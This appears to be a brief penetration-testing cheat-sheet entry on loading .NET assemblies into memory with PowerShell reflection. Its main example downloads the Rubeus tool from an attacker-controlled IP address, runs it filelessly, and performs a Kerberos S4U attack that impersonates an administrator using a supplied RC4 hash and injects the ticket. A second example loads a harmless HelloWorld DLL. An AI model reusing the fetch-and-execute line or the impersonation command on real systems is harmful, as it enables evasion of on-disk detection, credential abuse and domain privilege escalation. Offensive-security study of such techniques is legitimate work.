[System.Reflection.Assembly]::Load()
Load assembly executables into memory.
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/Rubeus.exe') $assem = [System.Reflection.Assembly]::Load($data) [Rubeus.Program]::Main("s4u /user:web01$ /rc4:1d77f43d9604e79e5626c6905705801e /impersonateuser:administrator /msdsspn:cifs/file01 /ptt".Split())
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace HelloWorldDll { public class Class1 { public static void Execute() { Console.WriteLine("Hello World!"); } } }
$assem = [System.Reflection.Assembly]::LoadFile("C:\Users\HelloWorldDll.dll") $class = $assem.GetType("HelloWorldDll.Class1") $method = $class.GetMethod("Execute") $method.Invoke(0, $null)
Last updated 2 years ago